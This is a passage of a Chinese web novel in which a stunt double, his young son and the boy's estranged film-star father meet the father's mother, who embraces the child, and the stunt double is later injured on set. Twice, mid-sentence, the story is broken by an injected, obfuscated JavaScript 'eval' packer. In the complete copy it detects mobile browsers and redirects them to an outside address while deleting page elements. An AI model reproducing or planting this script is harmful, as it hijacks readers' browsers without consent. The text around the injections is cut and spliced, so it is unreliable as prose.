如此简单易懂的微表情,连宋清许都看出这俩人在撒谎,邢再洺又如何不知?一时间,母子俩相互对视,宋女士又重重地剜了儿子一眼,那眼神好像在说:你看你造下的冤孽! 邢再洺只感觉一口郁气卡在喉咙里:怎么什么事都怪我?! 下一秒,宋清许不由分说地抓住孙子的小手,郑重道:“潇潇,没事,以后奶奶疼你!你有空就过来这边玩,奶奶给你做好吃的、买好玩的!别人不认你,奶奶认!” “妈……”当着外人的面被亲妈打脸,邢再洺那个气闷,刚要开口,却又被摁了回去:“你还知道我是你妈?你了不得了,管天管地,难道还要管我跟孙子培养感情?……真是倒反天罡!” 老教授的口才和遣词用句的功力丝毫不在他这个影帝之下,轻而易举地就占据了道德高地:“以后我是我,你是你!你爱怎么样我管不着,我要做什么,你也别管!” ……邢再洺深吸一口气,只得咬紧牙关,憋屈地撇开了脸。 下一秒,宋清许恢复笑容,又拉住了孙子的手:“以后要常来,知道吗?” 靳宇潇小朋友近距离目睹了一场父母与孩子之间的“战役”,小肩膀不禁怯怯地缩了起来。他看一看邢再洺憋着怒气的脸庞,又看看爸爸轻轻摇头的动作,小心翼翼道:“我……我爸爸拍戏很忙,可能没时间带我过来……” 把他斟酌的小表情尽收眼底,宋女士也不戳穿,兀自笑着道:“没关系,你家里不还有奶奶么?让她带你过来。或者,哪天我去幼儿园接你,怎么样?” 话说到这份上,再拒绝就不礼貌了。靳若飞只得放弃顽抗的心思,认命地替儿子答应道:“好……以后有空,我再让我妈带潇潇过来。” “哎,这就对了!”无视儿子眼中的抗拒,宋清许轻揉着孙子的小手,露出了满意的笑容。 7. 你躲什么 吃过饭,又陪宋清许坐在客厅聊了一个多钟,直到时钟指向九点,靳若飞这才带着儿子同她道别,准备离开。 “我送你们!”见儿子沉着脸想要跟上,宋清许立刻起身,伸手把邢再洺拽到身后,牙关在笑容后面隐秘地咬了咬。 靳若飞注意到这母子俩在打机锋,哪敢让她送?赶忙笑笑:“打个的的事,我们自己回去就行。我看邢先生也有话要跟您说……你俩好好聊天,我跟潇潇先走了。” 忍不住瞪儿子一眼,宋女士想到什么,歇了心思:“那你们小心点儿。楼梯陡,别磕着碰着。” “好。”转身时,靳若飞的视线划过邢再洺那双不爽的眼眸,心里沉沉的,打开门走了出去,连鞋套也没脱。 楼道里一片漆黑,大门关上时发出“咔哒”的轻响,连楼道里的声控灯都没震亮。门里头随即响起窸窣的对话声,但隐隐约约的,隔着门板听不清楚——不过,靳若飞也并不想听。 他不紧不慢地帮自己和儿子脱下鞋套,又拍了一掌,四周终于亮了起来。潇潇仰着小脸看爸爸,脸蛋带着微微的粉红,显然很喜欢这个奶奶。靳若飞的心情本来有些复杂,但见儿子高兴,他嘴角也不由自主地勾起来,低声道:“走吧,咱们回家。” “嗯!”潇潇牵着爸爸的手,蹦蹦跳跳地走下楼梯。靳若飞也不说他,就默默地把手攥紧了,免得这小家伙滑出去。 “爸爸~”跳着跳着,靳宇潇突然在转角平台停住,抬头望着他问:“我还可以再来见奶奶吗?” 虽然刚才爸爸答应了奶奶,会让自己再来玩儿,但小家伙知道,大人有时候会说假话的。他们当面或许会满口答应,但到了要履行的时候,又会用这样那样的借口搪塞过去。这些招数,他早就在另一个奶奶那里领教过了。 望着儿子眼巴巴的落寞神情,靳若飞深吸一口气,总感觉自己的后路被堵住了:“……当然可以。如果没时间,我就让奶奶送你来。” 得到保证,小家伙这才又露出笑容:“好!” 两人踢踢踏踏走到楼下,突然,楼上某一层传来了有些重的关门声。听着那声不熟悉的“砰”,靳若飞后颈一悚,莫名感觉是邢再洺追出来了——那一刻,他飞快地搂起儿子就往学校侧门跑,完全不想再跟这个人打照面。 住宅楼跟学校侧门之间隔着五百多米。靳若飞憋着一口气跑到楼栋转角,很快意识到自己肯定会被邢再洺开着车跟上。不想再被冷嘲热讽,他四下打量一番,见另一侧转角种着几丛茂密的木槿,便赶忙抱着儿子躲了过去。 半分钟后,那辆黑色的宾利果真开了过来,速度缓慢地转弯驶向侧门,似乎一边开一边寻找着什么。 听见窸窣的轮胎声远去,靳若飞悄悄从花丛后面探出头,潇潇也在他怀里伸长脖子,后怕地问:“……那是邢伯伯的车吧?” “嗯。”目送着那辆车开远了,二人这才吁一口气,从花圃里走出来。潇潇心有余悸地拉着爸爸的手,小声道:“邢伯伯好凶……我怕他。” 莫名想到以前他在片场时,经常把不好好拍戏的演员骂得狗血淋头,靳若飞苦笑一声,点头道:“对,我也怕他。” 靳宇潇小朋友听见,不解地抬眼望爸爸:“那你为什么跟他生了我呢?” 被儿子问得喉咙一噎,靳若飞语塞了好长一会儿,才自嘲地道:“……因为我蠢啊。要是时间重来一次,我肯定不干这种傻事了。” 路灯下,父子二人的背影被拉得很长很长,直直延伸向学校宽敞的侧门。潇潇仰头望着爸爸略显苦楚的表情,小嘴唇不禁抿一下,摇摇爸爸的手,认真道:“可你不那样的话,就没有我了呀。” 心门仿佛被轻轻地叩了一下,靳若飞停下脚步,惊讶地望着儿子——这个小家伙眼里有着超乎同龄人的成熟,明明才四岁不到,却要操心地安慰作为成年人的爸爸。霎时间,他心里被柔软和内疚占满了,不由蹲下身,又把儿子抱了起来:“说得对……如果不那样的话,爸爸就没有潇潇了。” 父子两个相互搂抱着,仿佛相依为命,在灯光下缓步走出侧门。被儿子触动的余韵久久不散,靳若飞深重地呼吸着,一时间没有注意到,门外道路的转角处停着一辆熟悉的黑色宾利。而那个高大修长的人影正靠在路灯下,一边抽烟一边等待着他们。 “……终于舍得出来了?”低沉磁性的声音仿佛野兽的低吼,震得靳若飞浑身一跳,那瞬间心脏都几乎停止了。强作镇定地抬起双眼,只见邢再洺不疾不徐地走到灯光下,眼眸藏在眉骨的阴影之中,高挺的鼻梁被烟雾掠过,微张的嘴唇正在吞云吐雾:“上车,我送你们回去。” “我们打的就行了。”靳若飞搂紧了儿子,面庞硬板板的,过于僵硬的肌肉导致说话的声音都有些干瘪。 邢再洺蹙起眉心,又发出了那种不耐烦的“啧”声。他捏着烟用力摁在垃圾桶顶端的烟灰缸上,仿佛不容抗拒的催促:“——上车!不要再让我说第三遍。” ……靳若飞只得抱着儿子拉开车门,钻了进去。 车里又是熟悉的沉默。 邢再洺没了烟抽,整个人显得特别不悦,手指在方向盘上密密地敲击着,仿佛在敲摩斯电码。靳若飞给儿子捆上安全带,一大一小手拉着手,坐得十分端正,安安静静地等待着随时有可能降临的刁难。 不多时,车子开上快环,邢再洺终于开口了——依旧是那个威逼的语气,依旧是那个冷酷的表情:“……我妈挺喜欢潇潇的。她今天很开心,你俩刚走,她就想着下一次要做什么菜了。不过,她喜欢的只是潇潇而已,你别以为她对你有什么好感。下次过来,你不必出现了,她要认的只有孙子,不是什么乱七八糟的人。” ……意料之中的警告,跟靳若飞预想的八九不离十。他失笑地扯扯唇,连回答都欠奉,只装作若无其事,难堪地看向窗外。不料,身旁突然响起了儿子紧张的反对声:“他不是乱七八糟的人,他是我爸爸!” 四岁的小家伙鼓足勇气高声说着,可那只小手却那样用力地揪住自己,整个人害怕得一直发抖。靳若飞赶忙揽住他的肩膀,感激地、疼惜地安抚。小家伙似乎也花光了所有的力气,一头扎到爸爸的咯吱窝里,紧紧搂住他,没有再吭声。 邢再洺从后视镜中看见这一幕,忍不住短促地拧了拧眉。 四十分钟后,他将这父子俩送到公寓楼的停车场。下车之前,靳若飞下意识从后视镜中看了邢再洺一眼。潇潇躲在爸爸怀里,也从肩头探出一只眼睛,看着这个不好惹的邢伯伯——他那样高大、那样威武,比幼儿园所有小朋友的爸爸都英俊帅气。 ……可是,他为什么不能喜欢我呢,哪怕只是一点点? 潇潇委屈地瘪了瘪嘴。 下车之后,靳若飞低头看儿子——本以为他睡着了,却不料,这小家伙睁着一双惆怅的眼,正眼巴巴地盯着邢再洺看。 不由停下脚步,靳若飞犹豫几秒,最后还是回过身,用轻轻地托了一下儿子的小屁股:“跟邢伯伯说再见。” 立刻直起腰,靳宇潇趴在爸爸肩上,看着邢再洺那双没有情绪的狭长双眸,声若蚊哼地喊了一句:“……邢伯伯再见。” 听见“邢伯伯”这三字,邢再洺的眉头皱了皱,不悦地“嗯”一声,随即升起窗玻璃,头也不回地开出了停车场。 . 那天之后,一切如常。 宋女士的青睐似乎并未给一家人带来什么改变,靳若飞照常拍戏,潇潇照常上学——幼儿园的老师说那几个大班的学生没有再去欺负潇潇了,但小家伙晚上回到家后,兴致依旧不高。靳若飞强撑着疲惫的身体,把他抱进怀里问:“怎么不高兴呀,他们还欺负你吗?” 潇潇蔫蔫地垂着眼帘,半晌才道:“……他们朝我做鬼脸。老师一望过去,他们就装作什么事都没有。我昨天告老师了,老师也说他们了。但是今天,他们又朝我吐舌头。” 小孩子的好恶是很直白的。他们不懂道理,凡事只随心情。老师或许能制止他们的行为,但想法如何能扭转呢?……抱着儿子郁闷的小身体,靳若飞不禁动了给他转学的心思。 第二天去到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……是吗。”靳若飞望着自己的手腕,神情有些暗淡。当年读体校时老师就说过他,“你是单骨,骨头细小,练武的话比不过他们双骨的。以后去当个体育老师吧,找个武馆给小孩儿当武术教练也行,别太强求。毕竟资质就摆在这儿,求也求不来的。” 他默默地收起了自己的胳膊。 . 到了星期五晚上,靳若飞一回到家,就收到了宋清许的电话:“小飞呀,明天你有没有空?跟潇潇一起来我这儿呀!明天我儿子不在,你们可以放松地玩。” “阿姨……”靳若飞深吸一口气,心里有些忐忑,“明天我要拍戏,没时间。” “这样啊。那你妈妈有没有空?让你妈妈带潇潇过来,我跟她同龄人,也好聊聊天。” “我妈她……”靳若飞还在迟疑着,秦丽君在边上听见动静,忍不住紧张地靠过来偷听。 电话那头,宋女士已经自顾自地敲定了明日的行程:“就这样吧!明早让你妈妈跟潇潇一起过来,我招待她们俩吃顿饭,再带她们去公园走一走。她喜欢吃什么菜呀?我一早去买……” “吃什么都行,他俩都不挑!”赶忙打住她的话头,靳若飞生怕再继续下去,宋清许会说出更难以招架的话。对面这才意犹未尽地笑笑,道:“好,那明天我就在家等着了。” 长吁一口气,挂掉电话,秦丽君有些惊讶地与儿子面面相觑,感叹道:“邢再洺的妈妈这么亲切呀!……那,邢再洺怎么会是那样儿的?” 靳若飞浑浑噩噩地摇摇头,只觉得身心俱疲:“不知道……妈,你赶紧休息吧。明天早点儿起来,带潇潇去宋阿姨那儿。” “明天邢再洺不在吧?”秦丽君忐忑地问。 “宋阿姨说不在。” “那……”秦丽君依旧有些紧张,“我是不是该找一套好点儿的衣服,免得不体面?” “不用,宋阿姨不是那种拜高踩低的人,她很热情的。” “是吗……”紧张地拧着手指,秦丽君在儿子身旁忐忑地纠结许久,见他不再回应自己,只疲惫地不断刷手机。这才叹口气,认命地回了房。 8. 父子是冤家 华视上下的人几乎都知道,影帝邢再洺这两年没什么拍戏的心思——嫌弃本子不好,又嫌弃导演不合心意,挑剔得很。 如今他跟华视签的合约不再是单纯的经纪合约,而是以个人工作室的形式签的分约,自由度比以前大不少,华视也没法儿逼他。如果真想让他配合,思来想去,只能通过利益交换的方式。 早上十点,“小陆总”陆庭风笑嘻嘻地又打电话给他:“洺哥!洺哥,洺哥~来公司喝茶呀!之前给你给我爸递的那个短剧剧本,我看了,感觉挺不错。过来一起聊聊?” 虽然知道这小子葫芦里卖的肯定不是这个药,但邢再洺眉毛一挑,还是从容应允了:“好,我马上出发。” 一个钟后,他走进办公室,这次坐在茶几前跟小陆总相谈甚欢的是公司里的另一面“金字招牌”,三十九岁的omega影后白心梧——邢再洺在柏林电影节封王的爱情谍战片《飞蛾》,就是他俩主演的。白心梧在电影中饰演他的夫人,两人之间的交情不可谓不深。 她今日穿得很休闲,贴身垂坠的运动上衣配着运动长裤,笑容淡而悠然:“邢影帝~好久不见。怎么样,最近是不是在家里父慈子孝的,忙着享受天伦之乐?” 邢再洺不悦地看她一眼,自顾自地坐下喝茶:“你闲着无聊,拿我寻开心呢?” 白心梧和陆庭风一齐轻笑出声,也不知这俩刚才蛐蛐了他多久。 轻咳一声,陆庭风正色道:“梧姐来得早些,刚才也看了一遍剧本。”说着,他拿出一个白色的册子,封面上印着“于无声处”四字:“这个故事挺不错,改编成12集的短剧正合适,也方便年轻导演用来练手。” 说到这儿,他抬起头,面露兴味:“那个导演叫什么来着?你说特年轻的那个。” “梁顺,不是科班出身,大学读的是经济。他导过几个短片,我看过,都很有想法。这个剧让他来导,应该是手拿把掐的。”邢再洺说得轻描淡写,眼帘都不抬一下,似乎很有信心。 白心梧垂眼睨着他,嘴边噙着意味不明的笑容,安安静静的没有吭声。 “是吗?”陆庭风寻思一会儿,又问:“投资大概多少啊?” “我找人估算过,总共5000万左右吧。”直到这时,邢再洺才抬眼望向这个年轻的总裁:“怎么,小陆总心动了,准备投资?” “嘿嘿!”陆庭风把头一歪,丝毫不掩饰眼中的不怀好意:“洺哥,我跟你商量一下~要不这样,我投资这部短剧,你去参加亲子综艺?” ……图穷匕见。邢再洺缓缓眯起眼,直起脊背,嘴边露出“果然如此”的奚落笑容:“小陆总,跟你说实话吧——我压根没指望华视能投资这部短剧。5000万,这笔钱我自己就有,我自己投资,不劳烦您。” 说完,他起身就要走。陆庭风“哎”一声拖住他,依旧嬉皮笑脸:“洺哥,别这么刀枪不入的嘛,好歹留个缝儿给我呀?” 邢再洺浅浅地白他一眼,不留情面地抽出手:“小陆总,你未免也太小看我了——这么点儿投资就想让我上钩?有点儿小气了吧?” 说完,他奚落地摆摆手,仿佛打发叫花子,大摇大摆地走了出去。陆庭风“嘿”一声,望向白心梧,气得发笑:“他瞧不起我?” 白心梧显然也无意再停留,微笑着将茶水一饮而尽,一边往外走一边轻声揶揄:“下次你找个几亿的投资给他,他肯定就屈服了~” 闻言,陆庭风叉着腰站在沙发旁,眼睛倒是亮了起来。 . 在电梯间里逮住正等电梯的邢再洺,白心梧笑得从容,走上前与他肩并肩:“怎么,还在为那个新闻头痛啊?” “嗯?”邢再洺淡淡地瞥她一眼,心不在焉道:“没有——不是已经解决了吗?公告都发了。我现在在忙别的事情。” “那个科幻的本子?” “嗯。”面对她,邢再洺有点儿惜字如金的意思,态度也不如何专注。白心梧一双美丽的桃花眼滴溜溜地看着他,这时电梯来了,二人一齐走进空荡荡的轿厢里,彼此间的呼吸突然变得清晰可闻。 电梯壁上映出一高一矮两个十分般配的身影,白心梧静静地欣赏着,突然道:“咱们也有半年没约了吧?要不要今晚去我那儿。” 闻言,邢再洺的眉心不耐地拧一下,嗓音低沉:“需要我提醒你吗?今年三月你跟林导刚举办过盛大的婚礼——我们的关系早就结束了。” 白心梧淡淡一笑,却不以为然:“怎么,一朝被蛇咬,十年怕井绳了?放心,我不会弄个孩子出来讹你的。” “跟这个没有关系——”心里的不耐烦终于溢了出来,邢再洺听见手机在兜里“滴滴”地响,不禁烦躁地一边掏手机一边道:“你知道我从来不碰有对象的人。你跟林导各玩各的那是你们的事,但是别来找我,好吗?我嫌麻烦。” 说着,他猝不及防地点开妈妈发来的图片。图中一个四岁小孩儿捧着一小盆碗莲,笑得羞怯乖巧,那双与他一模一样的眼眯成了一条缝。 白心梧在边上看见,眼神很明显地吃了一惊。 “……操!”不禁咒骂一声,邢再洺没再搭理她,电梯门一开,立刻快步冲了出去。 . 那一天会面过后,靳氏俩父子一出门,宋清许女士立即揪住了儿子的衣服,疾言厉色道: “我不管你对他俩是什么感情、心里有什么打算,但我告诉你,这个孙子我认定了!你从小到大,妈妈没要求过你什么,你跟你爸这几十年来也没做过什么让我开心的事。现在我六十五了,我就想要这个孙子——他比你乖多了、贴心多了,看见他我就高兴!你想想应该怎么做吧!” 能怎么做?……还不是只能顺着这个老太太!邢再洺气得胃疼,心里忍不住把靳若飞骂了百八十遍:真能装啊!当初把我骗了,现在生个小骗子出来,又要骗我妈?……靳若飞,你的心机真是深不可测! 心里把孩子妈骂了个狗血淋头,但面上却只能把牙关咬紧了,免得惹老妈不开心:“好好好,我知道了!你哪天想见他,打电话叫过来就是,我不拦着你!” 他话是这样说,但心里打算得一清二楚:他哪天来,我就哪天上门监督!……想用孩子做敲门砖叩开我家的大门?呵,靳若飞,你想得太简单了! 于是二话不说开车往家赶,一个钟的路程愣是40分钟就到了。 把车停到住宅楼下,邢再洺绷着脸飞快地奔上四楼,猛地打开门——屋里欢声笑语的,宋女士和靳若飞的妈妈秦丽君刚买好菜放到餐桌上,靳宇潇的手里则拿着一根棒棒糖,拆了糖纸正准备往嘴里塞。 见他进来,秦丽君脸上的笑容瞬间收敛,下意识往宋清许身后退了一步。靳宇潇也莫名胆怯起来,抓着棒棒糖的手背到身后,站得直溜溜的,仿佛站岗的士兵。 “你怎么来啦?”唯一高兴的好像只有宋女士。她似乎非常乐意看见孙子和儿子共处同个屋檐下,一边笑一边招呼道:“来了那就进屋吧,站在玄关干嘛?我们刚刚买菜回来,要过一会儿才有午饭吃……” “……没事。”干哑地回答一声,邢再洺换好鞋,抬眼盯着靳宇潇走过去,那毫不遮掩的视线把小家伙吓得大气不敢出一口。 恰好这时宋女士和秦丽君拿着菜进了厨房,小家伙猛地咬住唇,一张圆溜溜的小脸蛋吓得苍白。邢再洺不禁拧起眉,在他面前站定,忍不住伸手摁住他的头顶,不满道:“害怕什么?我又不会吃了你!” 五个指头微微用力,把小孩儿的脑袋摁得晃一晃。潇潇蚊哼般的呜一声,眼帘垂着,完全不敢看他。 突然感觉没趣儿,邢再洺齿间轻啧,收回手大步走到客厅,心浮气躁地坐到沙发上,打开了电视。 无聊的节目声音瞬间充斥在整个屋子里,他耐着性子等待一会儿,却还不见靳宇潇走过来。忍不住又“啧”一声,他扭头望,见小家伙把棒棒糖攥在手里,正小心翼翼地往厨房挪动。 “奶奶们忙着呢,你去厨房碍事吗?”一句话把靳宇潇手足无措地定在了那里。小家伙瘪瘪唇,怯怯地望过来,好像要哭了。这表现却让邢再洺愈发不满,一双长眼挑剔地瞪着他,伸手往这边用力一划:“过来!” 靳宇潇只得小心翼翼地挪了过来。 身侧的沙发轻轻下陷,传来细微的响动。邢再洺伸长手臂挂在沙发靠背上,双腿也舒展着,整个人仿若展翼的老鹰,将靳宇潇这个小鸡仔罩在怀里。 盯着小家伙软溜溜的头发、以及头顶隐隐的发旋,邢再洺挑剔地打量着,总忍不住挑他的不好:脖子太细了、肩膀太窄了,身子骨瘦巴巴的,仿佛有点儿先天不足。脑袋老是垂着,脊背也不挺直,整个人仪态差得要命,畏畏缩缩像只小老鼠。 ……靳若飞怎么把他教养成这样! 不满地拧起眉心,他注意到小家伙一直没敢吃棒棒糖,便忍不住伸手拨一下,命令道:“不吃的话就别吃了!免得待会儿吃不下午饭。” 靳宇潇浑身一颤,不说话,只缓缓地将棒棒糖塞进了嘴里。 察觉到不对劲,邢再洺眼神一顿,忍不住低头望去——小家伙的眼圈已经红了,眼睛湿漉漉的,好像马上要淌出泪来!他顿时深吸一口气,心里那个无语、那个烦躁、那个头疼,一时间竟不知道该做些什么,才能安慰好这个小东西。 操!那瞬间,他心里隐约感到后悔:……我惹一个四岁小孩儿干什么呢! 无法,邢再洺只得收了威压,默默地坐在小家伙身旁,又把电视调成了少儿频道。 活泼的动画片替代了沉闷的新闻,潇潇安静地吃着棒棒糖,一双泪眼低垂着,也不知道有没有在看节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197838|165678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目。他不时吸吸鼻子,又擦擦小脸,半晌终于是平复了下来,窝在柔软的沙发里,安安静静的不吭声。 见状,邢再洺总算是吁一口气,脊背放松下来,整个人颇有种劫后余生的庆幸感。 不多时,小家伙把棒棒糖吃完了,小心翼翼地溜下沙发,把棍棍丢进茶几另一侧的垃圾桶,随后又默默地走回来,扯出一张湿巾擦擦小手。邢再洺在边上将他的这一连串动作尽收眼底,不由想起了上个星期靳若飞造访时,从包里麻利掏出鞋套的场景。 ……他倒是一如既往的细致。 五年前靳若飞也是这样的,相当有眼色,在片场从来不会惹自己生气。他工作认真,不懂的地方会虚心向前辈请教,在忙碌的间隙甚至有空过来打个招呼,给自己递一瓶他亲手的做的柠檬金桔水:“洺哥,你喝这个——冰的,我没怎么加糖。” 思绪不禁恍惚一下,邢再洺的面色融化了些,瞥眼望向靳宇潇。小家伙乖乖地坐着看电视,手里不知何时捧了个养乐多空瓶子,瓶口插着一支小小的荷花,像是从宋清许的花盆里摘的。 “你摘了奶奶的花?”邢再洺冷不丁地问。 潇潇有些慌张地看向他,急切地辩解道:“不是我摘的!是奶奶给我的。我问奶奶,这个叫什么名字……她说了名字,又摘了这支给我,让我带回去给爸爸看!” “不是就不是嘛,你着什么急。”没想到他这么慌张,邢再洺再次感到后悔。此时此刻,他心里已然没有了刁难的念头,只剩下无可奈何的情绪。 这个小东西……真是拿他没办法!凶不能凶,训不能训,只能好生供着,期盼他不要抽抽嗒嗒的。这一刻,邢再洺是彻底没了脾气,忍不住气馁地望向靳宇潇,挫败地把手搭到了他的肩膀上。 “以后别动不动就哭,知道吗?我又不是要怎么样你。” 潇潇的身体晃动一下,还是抿着唇不吭声。邢再洺烦躁地撇撇嘴角,注意到茶几上放着一瓶纸皮核桃,干脆拿过来,用手捏一颗给他吃。 瞥见他宽大掌心里那几块小小的核桃肉,小家伙终于是抬起头,惊异地看了他一眼。 “吃。”邢再洺不自在地命令道。 “……哦。”细微的触碰落在他掌心,像被刚出壳的小鸡啄了一下,那股酥痒直直窜到了邢再洺的骨头缝里。他忍不住猛地收起五指,恍惚地攥一会儿拳头,半晌才张开,又捏了一颗纸皮核桃给潇潇吃。 . 为了缓解尴尬,邢再洺最后给小家伙喂了小半罐的核桃。待到十二点半吃午饭时,潇潇已经不饿了,面对一桌子的菜左右为难,不知道应该吃些什么。 “怎么不吃呀?”宋清许关切地问。 “我……”默默地看邢再洺一眼,潇潇没有揭发他,无师自通地撒了个谎:“我早上吃太多了,不是很饿。” “太多了?”秦丽君知道他的食量,心想不对啊,他早上不是只吃了个鸡蛋么?生怕孙子表现不好,惹得宋清许不高兴,她抿抿唇,小声责怪道:“你是不是偷偷吃零食啦?零食怎么能当饭吃呢,这样没有营养,会长不高的呀。” 一句话歪打正着,恰好戳到了邢再洺心虚的弦上。他顿时轻咳一声,动筷给潇潇夹了一块红烧排骨,放进碗里:“多少吃一点儿。吃完了下午出去跑一跑,跑完就饿了。” 没料到他居然主动帮小家伙夹菜,宋清许和秦丽君皆是难以置信地望着,不敢吭声。 邢再洺不看她们,埋头吃饭。半晌见靳宇潇吃完了,倒是又帮他夹了几片牛肉。 一点半吃完了饭,邢再洺照例收拾碗筷去厨房清洗。宋清许这次难得露出个笑,过来拉儿子的手:“今天先别洗了,放在这儿,你跟我们出去走走。” “走什么?”邢再洺轻哼一声,不为所动,“跟你们去公园到处闲逛,好被路人拍下视频,放到网上吗?……饶了我吧,我可不想再闹出一个大新闻。” “……你!”被他气得气息不稳,宋清许愤懑半晌,狠狠在他背上打了一掌,骂道:“好好好,知道你是大明星,我们高攀不起!这么多年了,叫你陪我逛个超市都不行!你最金贵,行了吧!” 说完,她气狠狠地一转身,拉着满脸不自在的秦丽君和靳宇潇大步走了出去。 听见关门的“呯”声,邢再洺也长泄一口气,烦躁地嘀咕:“天天揪着这一点有意思吗?你当我不想大大方方地去街上乱逛……真是年纪越大,心性越像小孩子。一点儿道理都不讲!” 正不忿地埋怨着,突然,大门又打开了。宋清许急匆匆地冲回来,一把拉过他的手,身后跟着六神无主、泫然欲泣的秦丽君:“阿洺,你快,快开车送我们去市二院!……小飞拍戏受伤了!” 邢再洺心里重重一跳,脑中瞬间出现了五年前靳若飞做替身时,从三楼直摔而下的画面。 9. 拍戏摔伤 动作替身这项工作,磕磕碰碰是难免的。当年靳若飞跟他在同一剧组,身上就经常青一块紫一块。有一次拍摄坠楼戏,邢再洺坐在远处的阳伞下闲望,亲眼看见这个年轻的Beta吊着威压站在三楼走廊的矮墙护栏上,打斗之间闪赚腾挪,最后被人一脚踹到小腹上,像一片枯叶般直落而下。 摔得怪干净利落的。那时邢再洺这样想。 过了一会儿,靳若飞一瘸一拐地从面前走过。邢再洺叫住他,问:“怎么把脚扭了?” 对方勉强笑笑,随即短促地回头看一眼,确认四周没人注意他俩的对话,才道:“缓冲垫摆的位置偏了一点儿……我从边上滚下来了。” 闻言,邢再洺眉头一皱,不悦地望向远处:“安全监督部门在搞什么?性命攸关的事怎么也这么马虎?!小游——你把负责人叫过来,我问问他!” 吩咐完助理,他朝靳若飞摆摆手:“你先走吧,记得去问医疗组拿跌打药擦一擦。” 那时的靳若飞眼眸晶亮,脸上的疼痛一扫而空,取而代之的是感动的雀跃:“好!” …… 想着以前的事,邢再洺把车在快环上开得飞快,面色又变成了那副不悦的模样。 后排座位上,秦丽君的眼眶一刻也没干涸过,一边淌泪一边紧握着孙子的小手,惶惑地哭泣:“怎么又受伤了呀!哎哟,我这心……早就跟他说了,别拍戏别拍戏,更别当什么动作演员,偏不听!每天摔得身上到处是伤,这次也不知道摔哪儿了,严不严重……” 宋清许一手搂着潇潇的肩膀,一手轻拍着安慰她:“我听那边负责人的语气挺平稳的,应该伤得不重,你别太着急,啊?不然潇潇也该胡思乱想了。” 四岁的小家伙被两个奶奶一左一右夹着,大眼睛也是红彤彤的,但死死咬着嘴唇,愣是没哭。邢再洺从后视镜中瞥着依旧失魂落魄的秦丽君,又看看强作镇定的靳宇潇——这一老一小仿佛错位了似的,该哭的不哭,该冷静的却不冷静。 神情复杂地与妈妈对视一眼,他拧着眉,眼底隐约露出了不满的神色。 . 靳若飞这会儿正在市二院骨科门诊给左手打石膏。 今早八点将儿子和妈妈送到宋清许家楼下,他便开车前往郊区的影视城拍摄。今日有几场重要的动作戏,靳若飞一到剧组便开始压腿、热身,全心全意地为拍摄准备着。 不一会儿,林哥拿着剧本走了过来,将待会儿要拍摄的替身演员召集到一起,郑重叮嘱道:“这场打斗戏很重要,你们都打起十二分的精神,注意自己的入画时间,不要出现空打的情况,知道吗?” 说完,他又走到靳若飞面前,沉声问:“动作都练熟了吗?跟他们排练好没有?” “昨天下午排练过八次了,OK的。”靳若飞回答着,直接在单薄背心外面套上与主演一模一样的戏服,上头带着颇为明显的汗味——或许还有Alpha的信息素味,但他是Beta,再浓郁也闻不见。 将腰背韧带拉伸得微微发热,约莫十点时,随着副导演一声招呼,摄制小组瞬间紧张起来,开始了上午的拍摄。 动作和配合已经排练过许多次了,大家都是经验丰富的动作演员,即使偶有抢拍或者失误,再来几条也能顺利通过。 中间有两个演员错手打伤了胳膊,林哥挥手让他们去一旁休息,又拉两个过来补上。靳若飞气喘吁吁地在场中等待调度完成,只感觉后背上被打到的地方火辣辣地疼。 ……他是主演的替身。别人能换,他可不好换。 不记得自己被打到了多少下,靳若飞揉一揉疼痛的后背和手臂,咬紧牙关忍受着,尽量不影响拍摄的进度。然而,在拍摄到一个凌空三连踢的动作时,他还是被副导演大声地喊了“卡——” “主演那个动作,”副导演在监视器后头指指点点,“再跳高点儿,踢快点儿!……都落地了,最后一脚还没踢完呢!” “哎好!”林哥答应一声,随即快步跑到靳若飞身旁,神色严肃:“这个动作有点难,你能不能行?试一个给我看看。” “……好。”凌空三连踢不好做,靳若飞深吸一口气,硬着头皮连试了三次,但还是不尽如人意。 这下林哥为难了,叫来另外两个武术指导,站到一旁头疼地商量:“这个动作确实难了点儿,当年也就鹏哥和几个武英级演员能做……要不还是删了吧?虽然帅,但是完成得不好,也没意义啊?” “啧,副导演要求那么高?我还说让武替做得差不多就得了。” “谁知道他怎么想的?” …… 靳若飞在一旁默默地听着,心里有些懊丧。自己因为长得高、动作舒展而被选为主演的替身,拿到更高的报酬;可也因为这样,做不到更快的动作频率,无法完成凌空三连踢。有得必有失,或许就是这个道理吧。 指导们还在商量,突然,卫丘恒从边上蹭了过来,探头探脑地问:“林哥,要不让我试一试吧?我虽然矮了点儿,但这个动作很快,后期剪辑一下,观众也不一定能看出来的。” “你?”林哥狐疑地看向他,“你行吗?” “我做给你看?”歪头一笑,卫丘恒立刻走到拍摄处的空地,拉来一个人配合,在众目睽睽之下高高跃起,虎虎生风地在空中一、二、三踢了三脚! “哦!”大家伙儿不禁发出感叹的惊呼,林哥眼光大亮,立即拽过靳若飞,兴高采烈地猛拍他后背:“好好好!你拍一条试试!……来,小飞,你把衣服脱给他,到边上休息一会儿!” 看着卫丘恒喜不自胜的面颊,靳若飞一颗心沉沉地坠落下去,沉默地脱掉了身上的衣服。 . 技不如人的感觉并不好受。 坐在椅子上一口气喝掉半瓶水,靳若飞注视着远处紧锣密鼓准备拍摄的人群,心里说不嫉妒是不可能的。但是他很清楚,自己确实不是那种天赋卓绝的人,这一点从他考入武阳体院之后就知道了。 